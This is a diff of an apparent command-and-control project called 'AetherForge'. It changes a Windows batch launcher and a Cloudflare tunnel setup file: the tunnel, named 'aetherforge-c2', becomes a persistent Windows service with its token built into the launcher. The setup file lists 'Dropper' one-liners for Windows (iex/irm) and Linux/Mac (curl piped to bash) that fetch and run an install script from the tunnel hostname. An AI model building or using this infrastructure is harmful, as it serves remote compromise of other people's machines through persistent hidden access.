||||
ping -n 5 127.0.0.1 >nul
|
||||
net start cloudflared >nul 2>nul
|
||||
ping -n 4 127.0.0.1 >nul
|
||||
echo [CF] Tunnel live: https://!CF_HOSTNAME!
|
||||
set "CF_READY=1"
|
||||
goto cf_done
|
||||
|
||||
:cf_no_creds
|
||||
echo [CF] No valid credentials.json in cloudflare\
|
||||
echo [CF] See cloudflare\SETUP.txt to configure your tunnel once.
|
||||
echo [CF] Running in LAN-only mode this session.
|
||||
|
||||
:cf_done
|
||||
|
||||
@@ -251,7 +243,7 @@ if "!CF_READY!"=="1" (
|
||||
)
|
||||
echo Data: %ROOT%\data\
|
||||
echo.
|
||||
echo First run: admin password printed to console below.
|
||||
echo Dashboard login printed below each start.
|
||||
echo Press Ctrl+C to stop.
|
||||
echo ================================================================
|
||||
echo.
|
||||
@@ -271,8 +263,7 @@ if "!EC!"=="0" (
|
||||
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
|
||||
)
|
||||
|
||||
:: On exit, also stop the cloudflared tunnel
|
||||
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||
:: Cloudflare tunnel runs as a Windows service — stays up after LAUNCH.bat exits
|
||||
|
||||
echo.
|
||||
pause
|
||||
|
||||
@@ -1,45 +1,22 @@
|
||||
========================================================
|
||||
AetherForge — Cloudflare Tunnel One-Time Setup
|
||||
Target hostname: killa.thetempleofdoom.com
|
||||
AetherForge — Cloudflare Tunnel
|
||||
https://killa.thetempleofdoom.com
|
||||
========================================================
|
||||
|
||||
You only do this ONCE on any machine that has cloudflared.
|
||||
After that, drop credentials.json in this folder and the
|
||||
USB launcher handles everything automatically forever.
|
||||
NO SETUP REQUIRED.
|
||||
|
||||
STEP 1 — Install cloudflared
|
||||
Run LAUNCH.bat once — it will install cloudflared
|
||||
from the bundled MSI automatically.
|
||||
OR: msiexec /i cloudflared-windows-amd64.msi
|
||||
The tunnel token is baked into LAUNCH.bat. On first run it will:
|
||||
1. Install cloudflared from cloudflared-windows-amd64.msi (if needed)
|
||||
2. Register the cloudflared Windows service with your token
|
||||
3. Start the service — tunnel points at localhost:8989
|
||||
|
||||
STEP 2 — Authenticate with your Cloudflare account
|
||||
cloudflared tunnel login
|
||||
(Opens browser — log in, select thetempleofdoom.com)
|
||||
This saves a cert.pem to %USERPROFILE%\.cloudflared\
|
||||
Just double-click LAUNCH.bat in the parent folder (Run as Administrator
|
||||
once if service install fails).
|
||||
|
||||
STEP 3 — Create the named tunnel
|
||||
cloudflared tunnel create aetherforge-c2
|
||||
Note the Tunnel ID printed (UUID format).
|
||||
After that:
|
||||
Dashboard: https://killa.thetempleofdoom.com
|
||||
Dropper: iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
|
||||
|
||||
STEP 4 — Route your subdomain to the tunnel
|
||||
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
|
||||
(Adds CNAME: killa -> <tunnel-id>.cfargotunnel.com in your CF DNS)
|
||||
|
||||
STEP 5 — Copy credentials to this USB folder
|
||||
The credentials JSON is at:
|
||||
%USERPROFILE%\.cloudflared\<tunnel-id>.json
|
||||
Copy it to this folder, overwriting credentials.json:
|
||||
copy %USERPROFILE%\.cloudflared\<tunnel-id>.json cloudflare\credentials.json
|
||||
|
||||
STEP 6 — Done
|
||||
From now on LAUNCH.bat detects the credentials, writes a
|
||||
fresh config.yml automatically, and starts the tunnel.
|
||||
The tunnel always connects to 127.0.0.1:8989 (localhost)
|
||||
regardless of which network the machine is on.
|
||||
credentials.json is NOT used — ignore the placeholder file if present.
|
||||
|
||||
========================================================
|
||||
Tunnel URL after setup: https://killa.thetempleofdoom.com
|
||||
Dashboard: https://killa.thetempleofdoom.com
|
||||
Dropper (Windows): iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
|
||||
Dropper (Linux/Mac): curl -sL https://killa.thetempleofdoom.com/install.sh | bash
|
||||
========================================================
|
||||
|
||||
Reference in New Issue
Block a user